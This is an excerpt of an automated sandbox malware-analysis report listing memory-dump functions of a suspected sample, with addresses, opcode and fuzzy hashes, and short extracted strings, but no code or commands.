Snapshot File: hcaresult_41_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14a133207480813f59bf2e81501136f642ac3b6b38e83cb6d68ab9da265479c5
Instruction ID: f2076665a300121e5bce7cd83df45d9c43f49be081f8fe6c3e31117cc79405b0
Opcode Fuzzy Hash: 14a133207480813f59bf2e81501136f642ac3b6b38e83cb6d68ab9da265479c5
Instruction Fuzzy Hash: E0F03171F0890F8BEB54EB84C865ABE77E5FB54300F050539C525D72A5EF74AA418780

Function 00007FFD9B89D369 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c3f5d8e28b37bb53b773104c4fab0dceea2dca52323e50fc933558233aeb869
Instruction ID: 817134c2b6c091c9bc235f3f78b038f3dd3879db091b37f07690e6d3be638a76
Opcode Fuzzy Hash: 1c3f5d8e28b37bb53b773104c4fab0dceea2dca52323e50fc933558233aeb869
Instruction Fuzzy Hash: BAF0A06150E7D40FD3229B388C654147FB0EA2710530A02EBC0CACB4B3D509988B8301

Function 00007FFD9B870B87 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b1035686c700d3e7422bdbfd03b186416f46b9bceced940a0858fefce50bc5
Instruction ID: 7b660370e38bdd0d2dc13d07ec256fe516b6d098edb4f4b50db9b246cc03cbc0
Opcode Fuzzy Hash: 83b1035686c700d3e7422bdbfd03b186416f46b9bceced940a0858fefce50bc5
Instruction Fuzzy Hash: 31E0CD3131D65D4FD605EB7DDC554A53B90EF8B21978714F6D048CB572C511585E8B00

Function 00007FFD9B884BBA Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b57018487f0601762528aa913da1a6a0998894cc75023c9d8746bf222c658d
Instruction ID: 61727cfd8f9839dd8678c1016514f84f1b0ff661747a48dbb5f35b177cd21fad
Opcode Fuzzy Hash: 83b57018487f0601762528aa913da1a6a0998894cc75023c9d8746bf222c658d
Instruction Fuzzy Hash: 84E02B3170950A4FE718DB4CC8906B53351EB88305F014568D456C31ABDE38AA4286C0

Function 00007FFD9B8710C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6a7a319247e26fe5891476d4379e3fb9038027b0d0346cd898f6af8527c1e1e
Instruction ID: 4740effe3ed1dd727bf9039e25f2ed9f9a21a4f16a58603c949259efc657c25f
Opcode Fuzzy Hash: f6a7a319247e26fe5891476d4379e3fb9038027b0d0346cd898f6af8527c1e1e
Instruction Fuzzy Hash: 60E02621F4C8490BEB6CA67478B26B07280EB86314B0506BAD05AC36DADC091C814281

Function 00007FFD9B896920 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction ID: 13ee59b51d438f0d3249ca81254a331da21d7585f58065648fcd14d23b766bbd
Opcode Fuzzy Hash: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction Fuzzy Hash: 2BE0C231B1A80E47E724F3298CA4ABD7251EB99721F454236E41DC32E9ED289A4283C4

Function 00007FFD9B883F30 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction ID: 624740e71dae718bcd56c73aa6ef227b29225f906b2275ca74e504422623924a
Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FFD9B874E94 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction ID: 54427aba39046c2e2df159ad56c4a43b42bc3db2695a35007a0e6a5f7a587714
Opcode Fuzzy Hash: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction Fuzzy Hash: FDE0ED70F1A11E47FB75A384C8A0BEA6251EB9C708F2500B8D54E937D1CD38AE419755

Function 00007FFD9B8AAB80 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B8AAAF0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B8A7F49 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb916f3b2a8dcfe23a61e70ab43a5ff4fc0e6aa745db85998ec72f4c581839ca
Instruction ID: bd33f7a2256f53da8a549450e91d38896f6aba4d663a2368cf91dbfe48aa7e91
Opcode Fuzzy Hash: eb916f3b2a8dcfe23a61e70ab43a5ff4fc0e6aa745db85998ec72f4c581839ca
Instruction Fuzzy Hash: CEE01A2594F7C04FC70B9B3488688507FA49E5B21074A40EBC085CF1B3D5198949C712

Function 00007FFD9B8A2290 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9B876215 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b0443e10fb85a43e906f4701a08f137d8ea5872fe6bd9d9675c59bc46feae47
Instruction ID: 664dca3fed0277301cd62faa874a9498081db0957b88bb0d8e9947c5bf23f17d
Opcode Fuzzy Hash: 1b0443e10fb85a43e906f4701a08f137d8ea5872fe6bd9d9675c59bc46feae47
Instruction Fuzzy Hash: 77D05E00F1E46A0AF32BE75458B593C2D92DF4975CFA508B5D44ACB1EBCD0C7B026392

Function 00007FFD9B8A7458 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction ID: 2f3e1e7f33ebcf14b44156e098e269aaaa16969c85814a3ea6487a6c3eb2089c
Opcode Fuzzy Hash: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction Fuzzy Hash: 24D01234B919084FC71CA7388859C747391EB6E216B9550A9D00AC73B5D96ADD89C741

Function 00007FFD9B875B53 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction ID: 71f743d50dac5e0397d114763bada28b51b88f9845e8d6083c1a360477609fd1
Opcode Fuzzy Hash: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction Fuzzy Hash: 42D06720F2A51D5FEBA4E76884E93B962A1FF4C704F5141B5904DF32A2DD28AE419B01

Function 00007FFD9B8A8808 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475b730dd1053a7c01b95d4681299a8929e8dd4f567767fe40fb86e8d7148227
Instruction ID: 81bb7791cfadcdf1bda2e0af278618ca42a57aee475e8131c2efce76e9c020a5
Opcode Fuzzy Hash: 475b730dd1053a7c01b95d4681299a8929e8dd4f567767fe40fb86e8d7148227
Instruction Fuzzy Hash: 54C0123061580C4F8A08EB29C8AD86072E0FB29211B8600A8900AC61B0EA5A9988CB81

Function 00007FFD9B8706A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c6a52383202a7b738f33d7e8978123d6da0d88d1b412a3286f7f33f22d518df
Instruction ID: 20ccde0d7e3559c2186f7f6f4b12703ae3576a773d145b512e73e707492d0c5a
Opcode Fuzzy Hash: 2c6a52383202a7b738f33d7e8978123d6da0d88d1b412a3286f7f33f22d518df
Instruction Fuzzy Hash: 51C01200F2B61E00EC20B3AA98B20ADA102EBCCA18FD20032C008820E1A84D22852246

Function 00007FFD9B870708 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8148a032bbe67190fb16b1de09c27c6ddf69f8f38fb73b98a6aa04bdf6b206
Instruction ID: 48b4ea72a93c134d06f028ec8e2fd81d7ddf99b3d3af693a283d9d5e4bd71d94
Opcode Fuzzy Hash: 7d8148a032bbe67190fb16b1de09c27c6ddf69f8f38fb73b98a6aa04bdf6b206
Instruction Fuzzy Hash: 7DC04C305218098FC954E779C89995477A0FB4D205BD610D0E409C7161E65AD9949B41

Function 00007FFD9B8761DA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aa87694fce9c796aeafb89dacdb9e000b34dab2deb8a03b158e691dfdb1e76a
Instruction ID: 0c6f521126c317f4d65a357f55e257e9d6ee3dfbf52a13f3a52a6678b464f240
Opcode Fuzzy Hash: 2aa87694fce9c796aeafb89dacdb9e000b34dab2deb8a03b158e691dfdb1e76a
Instruction Fuzzy Hash: 63C04C41F2981B06F36AA714553557E4453AF4879CFD54074E01EC76CEDD1C5B025287

Function 00007FFD9B8706C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction ID: f93d453dc44c26f98139adfe02b0c29122112b35f2f988daff0af6fd57da3991
Opcode Fuzzy Hash: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction Fuzzy Hash: 1AB01200D6740F00E86473FA08E2165B041DB4C10CFC20070D41C410D1E84D12942342

Non-executed Functions

Function 00007FFD9B8805A5 Relevance: 11.6, Strings: 9, Instructions: 370COMMON

Download Yara Rule

Strings

]+=, xrefs: 00007FFD9B88078E
O_^1, xrefs: 00007FFD9B88072A
O_^$, xrefs: 00007FFD9B8806C2
+<O, xrefs: 00007FFD9B88088F
O_^%, xrefs: 00007FFD9B8806C9
O_^;, xrefs: 00007FFD9B88077A
O_^9, xrefs: 00007FFD9B88076A
O_^8, xrefs: 00007FFD9B880762
O_^0, xrefs: 00007FFD9B880722

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID: O_^$$O_^%$O_^0$O_^1$O_^8$O_^9$O_^;$]+=$+<O
API String ID: 0-1757541962
Opcode ID: cfff3ce53388cbe1657e8f11940b8f7dfd482fb12a9397b8f4e53f6ed9b19297
Instruction ID: 2731bd2fc8ebeb07b961d1728c4a76c0ae817e6282c2f10c5892dc64f5d02da6
Opcode Fuzzy Hash: cfff3ce53388cbe1657e8f11940b8f7dfd482fb12a9397b8f4e53f6ed9b19297
Instruction Fuzzy Hash: 74A1435BB0C53289D31E76AE7D655ED3B00DFC033A70846B7D2AECB0C7A858648B91E5

Function 00007FFD9B8806D3 Relevance: 11.5, Strings: 9, Instructions: 235COMMON

Download Yara Rule

Strings

]+=, xrefs: 00007FFD9B88078E
O_^1, xrefs: 00007FFD9B88072A
O_^$, xrefs: 00007FFD9B8806C2
+<O, xrefs: 00007FFD9B88088F
O_^%, xrefs: 00007FFD9B8806C9
O_^;, xrefs: 00007FFD9B88077A
O_^9, xrefs: 00007FFD9B88076A
O_^8, xrefs: 00007FFD9B880762
O_^0, xrefs: 00007FFD9B880722

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID: O_^$$O_^%$O_^0$O_^1$O_^8$O_^9$O_^;$]+=$+<O
API String ID: 0-1757541962
Opcode ID: 5f8a5927bd09deadf5fad09f2ca7b68048b134880371283688956fdc9a01e127
Instruction ID: 2229b6246b87d0478683fd85e5d24411f9885caa890405d349862a39f50ad3d9
Opcode Fuzzy Hash: 5f8a5927bd09deadf5fad09f2ca7b68048b134880371283688956fdc9a01e127
Instruction Fuzzy Hash: 46518197B0C53685E31E36A83E6A9FD2704DF8133DB0446B7E12F8A0DB6D9C648361D9

Function 00007FFD9B8806FA Relevance: 10.2, Strings: 8, Instructions: 223COMMON

Download Yara Rule

Strings

]+=, xrefs: 00007FFD9B88078E
O_^1, xrefs: 00007FFD9B88072A
O_^+, xrefs: 00007FFD9B8806FA
+<O, xrefs: 00007FFD9B88088F
O_^;, xrefs: 00007FFD9B88077A
O_^9, xrefs: 00007FFD9B88076A
O_^8, xrefs: 00007FFD9B880762
O_^0, xrefs: 00007FFD9B880722

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID: O_^+$O_^0$O_^1$O_^8$O_^9$O_^;$]+=$+<O
API String ID: 0-1834234138
Opcode ID: 02d7f3476a0726f61a83842147363d8f6269516d3dd8f5b95084d027f1ab3172
Instruction ID: 5816c3b4f5a01389a89f44f157f73a5d4ee7fde98f93af53b553e141fe108fc8
Opcode Fuzzy Hash: 02d7f3476a0726f61a83842147363d8f6269516d3dd8f5b95084d027f1ab3172
Instruction Fuzzy Hash: 3D513697A0C53694D30E36BD3E6A9FD2704CF8137D70486B7E16E8A0CB6D98648361D9

Function 00007FFD9B8709B0 Relevance: 5.2, Strings: 4, Instructions: 182COMMON

Download Yara Rule

Strings

#{9, xrefs: 00007FFD9B870B3E
"s9, xrefs: 00007FFD9B870B46
c9, xrefs: 00007FFD9B870B56
!k9, xrefs: 00007FFD9B870B4E

Memory Dump Source

Source File: 00000029.00000002.2252890095.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b870000_csrss.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 72999301ef289f9587f4f5d6a4ac182f04c6ae04ba55b603f28bb42d6bec774f
Instruction ID: ee116bcbad1f83cfa339854ff6aadd22da9a09b1e745f19bed14ef40ba1d1d8d
Opcode Fuzzy Hash: 72999301ef289f9587f4f5d6a4ac182f04c6ae04ba55b603f28bb42d6bec774f
Instruction Fuzzy Hash: E541A497B1D07699E21F33FD79698ED5B48CF8523CB0846B7E05D8B0D79C882086A2E5

Analysis Process: Gg6wivFINd.exePID: 5924, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B890D4C Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

5Z_H, xrefs: 00007FFD9B890DF3

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: 5Z_H
API String ID: 0-3267294416
Opcode ID: 9dc56894a5369e58bde10464d41c14d4411623e057d9dde20ef5e5df8787118f
Instruction ID: 5f2adb1876c16e02f6b0fe530624a17c45c48489523da1f3a8208eec6b472fdb
Opcode Fuzzy Hash: 9dc56894a5369e58bde10464d41c14d4411623e057d9dde20ef5e5df8787118f
Instruction Fuzzy Hash: 6E910471A1DA8D4FEB99DBA888797A9BFE1FF59310F4000BAD049C72E2DB782411C701

Function 00007FFD9B8C880D Relevance: 2.7, Strings: 2, Instructions: 151COMMON

Download Yara Rule

Strings

J_^, xrefs: 00007FFD9B8C882A
J_^, xrefs: 00007FFD9B8C8762

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: J_^$J_^
API String ID: 0-3829478358
Opcode ID: 19b962b9118de085bc1248ac623dfbfe26026f791e5455f18b734f97baa9b5c1
Instruction ID: 52c7b1217cfc59b17a6539bc56a5c16f361d047ef856656672d4caf947560a3e
Opcode Fuzzy Hash: 19b962b9118de085bc1248ac623dfbfe26026f791e5455f18b734f97baa9b5c1
Instruction Fuzzy Hash: 2F4103B7A0B16A4BE31AAB6EECA64F43791FF95228B0901F3C4D88B153FC14680F4155

Function 00007FFD9B8C8835 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

J_^, xrefs: 00007FFD9B8C886A

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: J_^
API String ID: 0-868019308
Opcode ID: c204453e4257fa12ed61ba545bb84fc17775fe7a5ae88b06a92b4008396d152e
Instruction ID: df6869aacf3fff118c6da3fec550e806cd1334a566ccd9012026880d62f92770
Opcode Fuzzy Hash: c204453e4257fa12ed61ba545bb84fc17775fe7a5ae88b06a92b4008396d152e
Instruction Fuzzy Hash: 6301AFB3E095498FD719971DDCA68B033E0FF58714B0602F7C894CB523F92469A68681

Function 00007FFD9B8B5B69 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8B5B86

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: c9a17ddb6c2942323b736900e33151fb1b929e5c0223eeac2504e346bf5d7621
Instruction ID: 62ab0402656f03ac3ce4063c96e283772fef0d91bf8a6b7ecea37f22630c4f23
Opcode Fuzzy Hash: c9a17ddb6c2942323b736900e33151fb1b929e5c0223eeac2504e346bf5d7621
Instruction Fuzzy Hash: 66F0E53160F3D04FCB16DA7888284547F60EF2720174A42EEC046CF1E3EA1CC885CB41

Function 00007FFD9B8CAB69 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9B8CAB86

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: d1afe39065151f1bf16a4e2c17ed9d6e75258f4cfcdd504334c3526ce55d8a2a
Instruction ID: 41bbc0858c2e7d86a69b140d9492761b8fe3181c314d49ee6d3e9cfa965d4fb1
Opcode Fuzzy Hash: d1afe39065151f1bf16a4e2c17ed9d6e75258f4cfcdd504334c3526ce55d8a2a
Instruction Fuzzy Hash: 7AE06D3060E3C58FC71AAB348869854BF60EE6721134A42EFC445CF5A3DA2D8889CB11

Function 00007FFD9B8B9639 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9B8B9656

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 40446d87164e1c41f8091e718dae7a4b684ed41eea8b19cbdb774a09d95a3c61
Instruction ID: 09afabde410a075838604cb405c1b720a30f4594a3d912ac7f9a6f539754667b
Opcode Fuzzy Hash: 40446d87164e1c41f8091e718dae7a4b684ed41eea8b19cbdb774a09d95a3c61
Instruction Fuzzy Hash: 78E01A7054A3C04FCB06EB7484699543FA0DE6721178B41DEC089CB1B3E62D8949C701

Function 00007FFD9B8B9821 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7057b3b5aac019356ba33c144d41b28a46f2d284e9112d9fbce82dd1e5688b4a
Instruction ID: cb40a6f8d3db65b2d828a16859a1d1d69a1d7063f3c339a7a5981a9f93b6cc86
Opcode Fuzzy Hash: 7057b3b5aac019356ba33c144d41b28a46f2d284e9112d9fbce82dd1e5688b4a
Instruction Fuzzy Hash: 4CA1B330B189198FDB58EF68C4A9AB977E2FF98314B514579D01DC32D6DF34A842CB80

Function 00007FFD9B8908D0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1661292cf3d7954d2d691a674f04e3fa332917db9328b090612a2995af21df3
Instruction ID: f40b2215156589a2ac8dddfd670c144cd20a239d21bfcd3efa9b3344a07e5120
Opcode Fuzzy Hash: a1661292cf3d7954d2d691a674f04e3fa332917db9328b090612a2995af21df3
Instruction Fuzzy Hash: F9416822B0C5694FE719B7BC74AA6F97B81DF49329B0404BBD04EC71E7DD18A9428385

Function 00007FFD9B8BF8D5 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0357e646b8d2238681e605a5734e1f4a208db13a116a1cbe1c715c2376399aa2
Instruction ID: 863ec139b3d439b2044c36c95ef4807078776e5bcafdcce90331b864fd8a420f
Opcode Fuzzy Hash: 0357e646b8d2238681e605a5734e1f4a208db13a116a1cbe1c715c2376399aa2
Instruction Fuzzy Hash: 80419C61A0E7C90FD7179B385CB42647FB1AF6B210B4E02EBD489CB1E3E9181949C362

Function 00007FFD9B890998 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

